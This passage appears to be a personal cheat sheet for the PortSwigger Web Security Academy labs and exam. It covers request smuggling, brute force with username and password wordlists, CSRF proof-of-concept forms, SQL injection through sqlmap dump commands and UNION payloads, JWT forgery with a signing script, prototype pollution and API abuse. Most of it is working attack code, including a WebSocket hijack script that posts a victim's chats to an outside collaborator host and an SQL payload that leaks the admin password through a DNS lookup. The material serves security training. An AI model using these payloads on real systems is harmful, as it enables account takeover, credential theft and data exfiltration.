Step 1: Inject a header
Jack\r\n
Transfer-Encoding: chunked
- Set a random HEADER with the following value. Use
Shift+Enterto create the new line.
Step2: Capture a users request:
0
POST / HTTP/1.1
Host: web-security-academy.net
Cookie: session=YOUR SESSION COOKIE
Content-Type: application/x-www-form-urlencoded
Content-Length: 900
search=attack
- This will append the user’s session to the back of the search history.
Bypass
Bypass
Transfer encoding Obfuscation:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-encoding: identity
Transfer-encoding: cow
Smuggling a header through CLRF
This only applies to the H2.TE lab but is very interesting. It is possible to smuggle a Transfer-Encoding header through carriage line return feed:
Jack\r\n
Transfer-Encoding: chunked
Tools
Tools
HTTP Request Smuggler
This is a good tool for performing request smuggling. You can use the smuggle probe to find request smuggling and the exploit feature to then exploit it.
This comes in very handy when you can’t quite get the correct length of the request.
Identify HTTP Request Smuggling
For normal smuggling, just use the ‘smuggle probe’.
For H2 request smuggling, use ‘H2 probe’.
Exploit HTTP Request Smuggling
When you have identified HTTP request smuggling, use the extension to use turbo intruder to try and smuggle your payload.
Resources
Again, this gitbub repo is very good.
Brute Force
About
About
Password brute-forcing aims to test the effectiveness of rate-limiting and account lockout protections on a web application. The objective is to identify ways to bypass these security controls to submit more password attempts than should be permitted, ultimately leading to unauthorised account access.
Locate
Locate
Password brute-forcing can be attempted in several application areas. The most common is the primary login page, where the attacker targets the main authentication flow.
The “Forgot Password” or “Reset Password” features are also common targets, as attackers can brute-force security questions or verification codes. Finally, change-password forms inside authenticated areas sometimes lack the same strict rate limits enforced on the login page.
Bypass
Bypass
Most sites enforce basic rate limits. The techniques below focus on bypassing those controls to increase the volume of credential guesses.
Login Reset
If lockout only counts consecutive failures, interleave valid logins for the same account between password guesses to reset the failure counter indefinitely.
IP Bypass
Rate limits tied to a single source IP can be circumvented by rotating IP addresses via proxies or VPNs after each threshold is reached. X-Forwarded-For spoofing is often enough.
Multiple Passwords Per Request
Some implementations count requests, not passwords. Submitting an array of passwords within a single request may allow numerous guesses before the limit increments.
"password" : [
"123456",
"password",
"qwerty"
]
Race Conditions
If the lockout check and enforcement are not atomic, sending a burst of requests simultaneously can beat the enforcement step and allow dozens of guesses before the account is locked.
GraphQL Batch Queries
When authentication lives behind GraphQL, a single mutation request can contain multiple aliased login operations, effectively brute-forcing within one HTTP request.
mutation {
bruteforce0:login(input:{password: "123456", username: "carlos"}) {
token
success
}
bruteforce1:login(input:{password: "password", username: "carlos"}) {
token
success
}
bruteforce99:login(input:{password: "12345678", username: "carlos"}) {
token
success
}
}
HTTP Pipelining
Where rate limiting is attached to connections instead of requests, HTTP/1.1 pipelining can push many login attempts through a single connection. Few servers handle this correctly.
POST /login HTTP/1.1
Host: jackmason.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=jackmason&password=guess1
POST /login HTTP/1.1
Host: jackmason.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=jackmason&password=guess2
POST /login HTTP/1.1
Host: jackmason.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=jackmason&password=guess3
Usernames
Usernames
Here’s a list of usernames for brute-forcing:
carlos
root
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
ansible
ec2-user
vagrant
azureuser
academico
acceso
access
accounting
accounts
acid
activestat
ad
adam
adkit
admin
administracion
administrador
administrator
administrators
admins
ads
adserver
adsl
ae
af
affiliate
affiliates
afiliados
ag
agenda
agent
ai
aix
ajax
ak
akamai
al
alabama
alaska
albuquerque
alerts
alpha
alterwind
am
amarillo
americas
an
anaheim
analyzer
announce
announcements
antivirus
ao
ap
apache
apollo
app
app01
app1
apple
application
applications
apps
appserver
aq
ar
archie
arcsight
argentina
arizona
arkansas
arlington
as
as400
asia
asterix
at
athena
atlanta
atlas
att
au
auction
austin
auth
auto
autodiscover
Passwords
Passwords
Here’s a list of passwords for brute-forcing:
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
superman
1qaz2wsx
7777777
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix
mobilemail
mom
monitor
monitoring
montana
moon
moscowAuthentication
Location
Location
Registration Pages
Look for registration methods that might allow you to gain access to another user’s account:
GET /register
Forgotten Password
If there is an option to reset your password, try to enumerate usernames and reset other users’ account passwords:
temp-forgot-password-token=ongg6arf7fa82iyslqfzvkwuw4l2y00h&username=wiener&new-password-1=test&new-password-2=test
Burp-labs
Burp Labs
1. Inconsistent handling of exceptional input
In this lab, you can register with an email address. The @wannacry domains have admin privileges. You can exploit this by creating a username that bypasses the length check:
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-server.net
2. Infinite money logic flaw
This is very random, but it teaches you how to bypass CSRF tokens. This could allow you to brute-force logins, even if they are protected.
Complete the redeem gift card flow.
Go to Settings -> Sessions -> Session handling rules -> Add.
Go to Scope -> Include all URLs.
Back to details -> Rule Actions -> Add -> Run a macro -> Add.
Select the gift card flow using Cmd + select.
Configure the items that need unique identifiers.
Run an intruder attack of null payloads on your account to run the macro.Cross Site Request Forgery
Location
Location
Email Change
The email change is susceptible to CSRF. This is the target in all labs.
POST /my-account/change-email HTTP/2
GET Request
In some labs, to bypass samesite=lax, you use GET requests:
https://web-security-academy.net/my-account/change-email?email=jack@mason.com
Cartridge Line Return Feed Injections
In some labs, the search bar is vulnerable to CRLF injections. This allows you to inject a cookie to bypass CSRF protections:
GET /?search=test%0d%0aSet-Cookie:%20csrfKey=ZMj16mC23A05OOXmEaaaozZp3PKKCetg%3b%20SameSite=None HTTP/2
Subdomain
In the web socket lab, there is a subdomain that is vulnerable:
https://cms-0a250023049d1c6081e02a0900e20063.web-security-academy.net/login
OAuth
In the final lab, you can exploit OAuth by refreshing a token to exploit the two minutes before lax is set on a session cookie:
https://oauth-0af000360465b7738075012e02730066.oauth-server.net/interaction/DLGG28jxRbbC3fnHp_ym2
Exam
Exam
In the exam, the email change is the main target. You might need to change the email and reset the password.
Burp-labs
Burp Labs
Bypassing CSRF token validation
Burp labs here
1. CSRF vulnerability with no defences
Very simple. Capture your email change, use the generate CSRF Poc in engagement tools. Change the email as you cannot have two emails the same, and send it to the victim:
<form action="https://0a410072035c73eb8087bc8e003e0061.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test123@123.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
Bypass
Bypass
Bypassing CSRF token validation
Burp labs here
2. CSRF where token validation depends on request method
In this lab, a CSRF token is needed with a GET request. Again, use the CSRF Poc tool:
<form action="https://0ad000f1035ff2e480930321007500aa.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test123@123.com" />
<input type="hidden" name="csrf" value="eHnrkHdvc8K10PJtQxGm4ML28aIYkfR9" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
3. CSRF where token validation depends on token being present
In this lab, the CSRF token can simply be removed:
<form action="https://0a0a000c032214058088038f006100bd.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test123@1.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
4. CSRF where token is not tied to user session
In this lab, your CSRF token can be used on another account. However, the CSRF token has to be unused:
<form action="https://0a64001504e52e58807cbcd400040082.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test123@here.com" />
<input type="hidden" name="csrf" value="mDFoatgqgZMAqITMcQoMaBn0JCOekFKA" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
5. CSRF where token is tied to non-session cookie
In this lab, you need to CRLF a cookie into the user’s browser using a CSRF attack, then deliver the email change through a CSRF attack. I doubt this will be on the exam, as you need two accounts to realise that the CSRF cookie and CSRF token are static.
<form action="https://0aa50076036ed8cf80710300008f0028.web-security-academy.net/">
<input type="hidden" name="search" value="test Set-Cookie: csrfKey=ZMj16mC23A05OOXmEaaaozZp3PKKCetg; SameSite=None" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
Deliver that one, then deliver this one after:
<form action="https://0aa50076036ed8cf80710300008f0028.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test348957489@1234.com" />
<input type="hidden" name="csrf" value="o1ciBZI7Sge1co9fholynSSOWyVa2k47" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
6. CSRF where token is duplicated in cookie
Another good lab. The CSRF token and cookie need to be the same, but they can be anything. To exploit this, use CRLF again and set the cookie to a value such as 1:
<form action="https://web-security-academy.net/">
<input type="hidden" name="search" value="test%0d%0aSet-Cookie:%20csrfKey=ZMj16mC23A05OOXmEaaaozZp3PKKCetg%3b%20SameSite=None" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
Deliver that one, then deliver this one after:
<form action="https://0ae1002d0493dab88073037200e00086.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test123@123.com" />
<input type="hidden" name="csrf" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
Bypassing SameSite cookie restrictions
7. SameSite Lax bypass via method override
This lab is a bit odd. It sets the cookie to Lax, meaning it is still vulnerable to GET requests. However, the endpoint does not accept GET requests. This can be bypassed using the _method= query parameter.
<form action="https://0ad4009504c8a92b81e93eb500d2008e.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="tes123t1@123.cok" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
8. SameSite Strict bypass via client-side redirect
This lab is very good. You can bypass the SameSite=Strict through an open redirect. You need to URL-encode the payload so that it doesn’t break out of the query string:
<script>
document.location = "https://web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3femail%3dtest54367%2540123.com%26submit%3d1";
</script>
9. SameSite Strict bypass via sibling domain
This lab is tough. You need to hijack the web sockets of another user through a subdomain vulnerable to XSS.
Step 1 - Find the vulnerable subdomain: The subdomain is on cms-TARGET.
Step 2 - Find the XSS: The XSS is in the username field (the following will alert):
https://cms-TARGET/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
Step 3 - Identify the CSWSH issue: In the live chat function, we notice the GET /chat HTTP/2 request doesn’t use any unpredictable tokens. This can _identify_ a possible cross-site WebSocket hijacking (CSWSH) vulnerability, if it’s possible to bypass SameSite cookie restrictions.
Step 4 - Write a payload on the subdomain: The following will send you the victim’s chats:
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Step 5 - Deliver: You can URL-encode this payload and include it in the URL of the subdomain. This can then be hosted on your exploit server:
<script>
document.location = "https://cms-TARGET.net/login?username=ENCODED-POC-CSWSH-SCRIPT&password=Peanut2019";
</script>
10. SameSite Lax bypass via cookie refresh
This lab is very interesting. As Chrome sets the cookie to lax by default after two minutes of a user session, if an attacker can find a way to get a user’s session to refresh, they could potentially exploit a CSRF attack quickly afterwards.
In the lab, there is an OAuth authentication flow where /social-login initiates a new auth flow. You need to bypass a popup blocker by requiring a user to click the page. The exploit JavaScript code first refreshes the victim’s session by forcing their browser to visit /social-login, then submits the email change request after a short pause. Deliver the exploit to the victim.
<form method="POST" action="https://TARGET/my-account/change-email">
<input type="hidden" name="email" value="jack@mason">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
Tools
Tools
The only real tool to use here is the built-in Generate CSRF Poc found in engagement tools:
Capture a vulnerable request in repeater
Right Click -> Engagement tools -> Generate CSRF Poc
- If using on the exploit server, remove the surrounding
<body>code from this request.
Password Reset
Location
Location
Password Reset on Account
POST /forgot-password
Exploit
Exploit
1. Password reset broken logic
A very simple lab. Reset your password, changing the username to carlos:
temp-forgot-password-token=gikaojvdj1cff4thkftskl9rk8oraxvw&username=carlos&new-password-1=test1&new-password-2=test1
2. Weak isolation on dual-use endpoint
Another very easy lab. Simply remove the current password and change the username from the account change password functionality:
csrf=Tpj69LWN78JXZPYqnz1ths98EUddgbD3&username=administrator&new-password-1=test&new-password-2=testSQL Injection
Detect
Detect
Use the following methods to detect SQLi:
- Use the single quote character
'and look for errors or other anomalies. - Use some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and look for systematic differences in the application responses.
- Use boolean conditions such as
OR 1=1andOR 1=2, and look for differences in the application’s responses. - Use payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond.
- Use OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor any resulting interactions.
Query the database
Use the following commands to find the database type:
| Database type | Query |
|---|---|
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
| PostgreSQL | SELECT version() |
Location
Location
URL
Look for parameters in the URL that can be manipulated:
https://web-security-academy.net/filter?category=Accessories
Log In
The login feature may be vulnerable to SQLi through password bypass:
username=administrator&password=pass' OR 1=1 --
Cookie
Look for cookie values that may be injectable:
TrackingId=INJECT
Exploit
Exploit
Here is a list of the techniques from the labs that I think are most applicable for privilege escalation:
Querying a database from a query parameter
This is where the vulnerable SQLi is in the URL.
Find Tables
For this, you want to use SQLMap. Start by finding the vulnerable parameter and use SQL map to ensure the tables:
sqlmap -u 'https://web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ --tables --batch
Dump table
Once the table is known, use the following command to dump that table.
sqlmap -u 'https://web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ -T TABLENAME --dump --batch
Querying a database from a cookie
This is slightly different as you need to inject into a cookie. Again, it follows the same process:
Find Tables
For this, you want to use SQLMap. Start by finding the vulnerable parameter and use SQL map to ensure the tables. The * tells SQLMap where to inject.
sqlmap -u 'https://web-security-academy.net' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=BEUSTQ --tables
Dump table
Once the table is known, use the following command to dump that table.
sqlmap -u 'https://web-security-academy.net' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=BEUSTQ -T TABLENAME --dump
Visible error-based SQL injection
In these labs, an error message is only returned if the SQL parameter does not evaluate. This makes it very difficult for SQLMap and requires manual injection. For this, it is recommended to refer to Blind SQL Injection.
Conditional Errors
This uses the CASE keyword, which breaks the query if it does not evaluate:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
via verbose SQL error messages
This can be used when detailed error messages are returned. In this attack you want to try and extract a string as an integer using CAST.
CAST((SELECT example_column FROM example_table) AS int)
Burp Labs
Burp Labs
I used SQLMap for most of these labs; it’s not best practice, but it’s something you need to learn when under time constraints.
1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Super simple lab, reveal all items:
https://web-security-academy.net/filter?category=Accessories%27%20OR%201=1%20--
2. SQL injection vulnerability allowing login bypass
Access the admin account by manipulating the password:
username=administrator&password=pass' OR 1=1 --
3. SQL injection attack, querying the database type and version on Oracle
You need to find the database using a database query with a union:
https://web-security-academy.net/filter?category=Accessories'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
4. SQL injection attack, querying the database type and version on MySQL and Microsoft
Simple lab, get the version from MySQL / Microsoft:
Gifts' UNION SELECT @@version, null --
5. SQL injection attack, listing the database contents on non-Oracle databases
This lab is a bit difficult; you need to enumerate usernames and passwords. The official solution is:
<code>{`'+UNION+SELECT+username_RANDOM-STRING,+password_RANDOM-STRING+FROM+users_RANDOM-STRING--`}</code>
However, I used SQL map to speed up the process:
sqlmap -u "https://web-security-academy.net:443/filter?category=Lifestyle" --cookie="session=6qQNwTzh9EdH3K5aNpgGjE87xSl796qq" -p "category" --dbms="PostgreSQL" --level=3 --risk=3 --technique=BEUSTQ --all
6. injection attack, listing the database contents on Oracle
This lab is the same; I again used SQLMap. Official solution:
'+UNION+SELECT+USERNAME_RANDOM-STRING,+PASSWORD_RANDOM-STRING+FROM+USERS_RANDOM-STRING--
SQLMap (start with tables)
sqlmap -u 'https://0a5d0033036eb9b680cd12e1001f00fd.web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ --tables --batch
Then enumerate a table (this saves lots of time):
sqlmap -u 'https://0a5d0033036eb9b680cd12e1001f00fd.web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ -T "USERS_FZOFGO" --dump --batch
7. SQL injection UNION attack, determining the number of columns returned by the query
Simple lab, find the null values in a union attack:
/filter?category=Pets%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL--
8. SQL injection UNION attack, finding a column containing text
Simple lab, make the database return the string ‘6lRU5C’
?category=Pets'+UNION+ALL+SELECT+NULL,'6lRU5C',NULL--
9. SQL injection UNION attack, retrieving data from other tables
I used SQL map:
Table
sqlmap -u "URL" -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ --tables
Data:
sqlmap -u "URL" -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ -T users --dump
10. SQL injection UNION attack, retrieving multiple values in a single column
I used SQL map again, but here’s the proper solution:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
11. Blind SQL injection with conditional responses
In this lab, you can inject into a cookie with time delays. I used SQLMap again, but here’s the official solution:
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
12. Visible error-based SQL injection
This lab is interesting; you can cause errors on the web app showing incorrect data. Due to this, you can try the CASE keyword to test a condition and return a different expression depending on whether the expression is true.
TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
13. Blind SQL injection with time delays
I used SQLMap to solve this lab to get into the admins account, although it’s not needed:
sqlmap -u 'SITE' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=T --tables
The official solution is this:
<code>{`'||pg_sleep(10)--`}</code>
14. Blind SQL injection with time delays and information retrieval
Again, I used SQL map:
sqlmap -u 'SITE' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=T --tables
15. Blind SQL injection with out-of-band interaction
I used Burp Intruder to fuzz all the SQL payloads with my Burp Collaborator subbed in:
TrackingId=§tets§
Official Payload:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
16. Blind SQL injection with out-of-band data exfiltration
This lab is tough; you need to get an out-of-bound DNS lookup, then use this as a condition error response to show if the payload is valid:
Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.738mdgsg1r09ggsh9j7mfvcbv21tpkk89.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--;
Tools
Tools
SQLMap
The best for these labs.
Assess a query parameter
sqlmap -u 'https://Target?category=' -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ --tables
Assess a Cookie
sqlmap -u 'https://Target?category=' -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ --cookie="inject-here=123*; otherCookie=234" --tables
- The
*tells SQLMap where to inject
What each technique means
| Flag | Technique | Description |
|---|---|---|
| B | Boolean-based blind | Sends true/false conditions to infer data. No output is shown on the page; relies on differences in page content/response. Very stealthy. |
| E | Error-based | Forces the database to throw errors that contain data (e.g., version, usernames). Fast and effective if errors are visible. |
| U | UNION query-based | Injects UNION SELECT statements to combine results with visible data. Only works if output is shown in the response. |
| S | Stacked queries | Executes multiple queries in one statement using ;. Only works if the DB/API allows multiple statements per request. |
| T | Time-based blind | Uses delays (e.g., SLEEP(5)) to detect vulnerabilities based on how long the server takes to respond. Useful for blind SQLi. |
| Q | Inline queries (a.k.a. out-of-band) | Triggers DNS or HTTP callbacks. Only works if the DB has external network access and the tester controls an out-of-band server (e.g., Burp Collaborator). |
JSON Web Tokens (JWT)
Location
Location
Cookies
Look for cookies that are Base64 encoded.
Target
In most of these labs, the aim is to access the admin portal:
GET /admin HTTP/2
JWT Headers - JWK
This header allows servers to embed their public key directly within the token itself, in JWK format.
{
"kid": "f11ce06c-2060-4554-91f7-dfa0054f16a8",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "f11ce06c-2060-4554-91f7-dfa0054f16a8",
"n": "lBB1i-2bcsRMaCvHoILz-Gx1JUV9SXC7DDqA1Z6QP6hxGu0xeP1fM9BsnnBHmNchmbYLl7GtUDs4WmYBEconVmPeMkiFqT17X_qtefOEtrBRwN6OGaWYoTBE-B86PGN3I6sIKjC06o2HSrkQTV4TA4xQaym8Ku0bEm9MhLYSwVFsHMNBmKj2dFnYRwPYWZkFhUijOiBvz1U2fJ50MyCPTsdOumaeOP4HhzXsEZkwJZ_Gta3r0SmNL5YwxgdujNi5h8mklRq0VclXM2CFHz8WdUthBVTUvE9HQ2GiVh3FCvan61VNz4eIqLXN2CKlc91666EZsBZYKNEzVjfJrXofHw"
}
}
JWT Headers - JKU
This header allows you to store keys on an external web server. Set the web server to your exploit server and sign your own keys.
{
"kid": "f11ce06c-2060-4554-91f7-dfa0054f16a8",
"alg": "RS256",
"jku": "https://exploit-server.net/exploit"
}
JWT Headers - Kid
The kid header may be susceptible to path traversal. If you can link it to a null file, you can sign the JWT with an empty signature.
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
Exploit
Exploit
Burp’s labs
Exploiting flawed JWT signature verification
1. JWT authentication bypass via unverified signature
A straightforward lab; remove the signature:
{"iss":"portswigger","exp":1745952925,"sub":"administrator"}
2. JWT authentication bypass via flawed signature verification
Another simple lab; remove the signature and set the alg to none:
{"kid":"bf42fa16-7a6b-4a87-b186-a43b00c2c48f","alg":"none"}.{"iss":"portswigger","exp":1745953334,"sub":"administrator"}.
3. JWT authentication bypass via weak signing key
This lab is a little more difficult; you need to brute-force the signature using the following list and then sign your own signature using the key.
Step 1: Break the signature:
hashcat -a 0 -m 16500 <jwt> <wordlist>
Step 2: Create your own JWT.
- I couldn’t get the JWT editor to work, so I built my own script:
import hmac
import hashlib
import base64
import sys
def base64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def create_jwt(unsigned_token: str, secret: str) -> str:
signature = hmac.new(
key=secret.encode(),
msg=unsigned_token.encode(),
digestmod=hashlib.sha256
).digest()
signature_encoded = base64url_encode(signature)
return f"{unsigned_token}.{signature_encoded}"
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python create_jwt.py <header.payload> <secret>")
sys.exit(1)
unsigned_token = sys.argv[1]
secret = sys.argv[2]
jwt = create_jwt(unsigned_token, secret)
print("Generated JWT:")
print(jwt)
- Execute this with
python create_jwt.py <your_header.payload> <your_secret_key>.
This provides you with a JWT; use it to sign in as admin.
JWT header parameter injections
4. JWT authentication bypass via jwk header injection
This lab is effective and simple. You can inject into the jwk header and sign your own JWT. This requires the use of the JWT editor:
Generate a new RSA key (just press generate in JWT editor).
Go to JSON Web Token in the repeater, change the name to administrator.
Click attack -> click embed jwk.
Select your RSA key, and you're done.
5. JWT authentication bypass via jku header injection
This lab is slightly more complex. The jku header allows you to host keys on external servers. To solve this lab, do the following:
Generate a new RSA key (just press generate in JWT editor).
Go to your exploit server and host the following:
{
"keys": [
]
}
Go back to the JWT editor and copy your key as JWK.
Paste this into the above:
{
"keys": [
PASTE HERE
]
}
Send a request with a JWT to the repeater.
Change sub to administrator.
Change kid to that of your JWK on the exploit server.
Add a "jku" header to your JWT, linked to your exploit server.
Click sign -> select your RSA key.
Send this, and access the /admin panel.
6. JWT authentication bypass via kid header path traversal
This is a good lab; the kid is vulnerable to path traversal. This can be exploited by an attacker to direct it to a null file, such as ../../../../../../dev/null. You then sign it with a null key.
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
{
"iss": "portswigger",
"exp": 1746119995,
"sub": "administrator"
}
attack -> sign with empty key -> HS256
Access admin -> delete carlos
Bypass
Bypass
There is mention of bypassing whitelist filters here. This may be useful for the bypass via the jku header.
Prototype Pollution 1 (Priv Esc)
Location
Location
URL
The URL is a good place to find client-side Prototype Pollution:
/?__proto__[jack]=mason
?__proto__.jack=mason
External files
Look for the following file; it normally contains an XSS sink:
/resources/js/searchLoggerFiltered.js
Account Update
Look for ways to update your profile where you could upgrade your privileges:
POST /my-account/change-address
...
{
"details":"etc",
"__proto__":{
"isAdmin":true
}
}
Exploit
Exploit
Client-Side Prototype Pollution
Burp labs
1. DOM XSS via client-side prototype pollution
This is a simple Lab, using DOM Invader. Turn on prototype pollution and see if it finds a prototype pollution exploit and an exploit for DOM XSS.
?__proto__[transport_url]=data%3A%2Calert%281%29
2. Lab: DOM XSS via an alternative prototype pollution vector
In this lab, it’s a very similar exploit. Identify the exploit in the URL, then use DOM Invader to find the injection point. Notice that the exploit doesn’t work. If you do manager.sequence you can see that the payload is alert(1)1 which breaks the code. Correct this with the following payload:
?__proto__.sequence=alert(1)-
4. Client-side prototype pollution in third-party libraries
This lab is good. Use DOM Invader to identify the vuln and find an exploit. Change it to alert(document.cookie) and craft a payload for the exploit server:
<script>
document.location="https://0a2300e3039b57b7801803a200d800d6.web-security-academy.net/#constructor[prototype][hitCallback]=alert(document.cookie)"
</script>
Server-Side Prototype Pollution
5. Privilege escalation via server-side prototype pollution
This lab is super easy and may be in the exam. You need to change isAdmin to true. This can be done through the /my-account/change-address endpoint:
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"OK2RSO7mWpJwJ5xOW3iheSZNuiebdSa6",
"__proto__":{
"isAdmin":true
}}
Bypass
Bypass
3. Client-side prototype pollution via flawed sanitisation
In this lab, there is some basic validation on the param that is used to pollute the prototype:
__pro__proto__to__
This can be polluted. To exploit this, as the default way does not work, look in the external js file for a sink, identify the transport_url item, and use the canary and look for this using DOM Invader. This will give you the exploit:
?__pro__proto__to__[transport_url]=data:,alert(1)
6. Detecting server-side prototype pollution without polluted property reflection
If there is no visible way to see if the exploit succeeded, you can delay the following blind method:
"__proto__": {
"status":555
}
- This will make the error code
555, indicating it’s been polluted.
Bypassing flawed input filters for server-side prototype pollution
This is a simple lab. Websites can filter out __proto__ so you can use the following:
{
"data":"...",
"constructor":{
"prototype": {
"isAdmin":true
}
}
}
Next Steps
Next Steps
This is used to priv esc as admin.
Tools
Tools
The following tools are very useful:
Dom Invader
This is a no-brainer for finding and exploiting client-side prototype pollution.
How to use:
- Open Burp browser
- Turn on Prototype Pollution under attack types
- Open Dom Invader in the Dev Tools
- Look for any flags of issues and exploit them through here
Server-Side Prototype Pollution Scanner
This is a Burp Extension for finding server-side prototype pollution issues. Just install it and run it against the scope.
API Testing
Location
Location
API Location
Look for /api
PATCH /api/user/wiener HTTP/2
External js Files
Look out for external js files that may contain useful information:
GET /static/js/forgotPassword.js
Exploit
Exploit
1. Exploiting an API endpoint using documentation
Documentation can be found at /api, which reveals a DELETE user functionality.
DELETE /api/user/carlos
2. Finding and exploiting an unused API endpoint
This is another simple lab; buy the jacket for nothing. Find the PATCH endpoint that lets you set the price to 0:
PATCH /api/products/1/price HTTP/2
...
{
"price":0
}
3. Exploiting a mass assignment vulnerability
In this lab, you can find hidden endpoints by changing a GET request to a POST request. You can see that a percentage discount is used. This can be changed to 100%:
POST /api/checkout HTTP/
...
{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}
Server-side parameter pollution
4. Exploiting server-side parameter pollution in a query string
This lab is more difficult. In this lab, you can include a reset_token parameter in the internal server request.
This can be done using the following. Add #test to the end and see that it errors:
csrf=KWCU4G1AVLVnCi3i4rVg8JUoHBd6JIEu&username=administrator#test
Response:
{"error": "Field not specified."}
This shows that there may be a parameter named field. Confirm with:
csrf=KWCU4G1AVLVnCi3i4rVg8JUoHBd6JIEu&username=administrator#field=123
...
"error": "Field not specified."
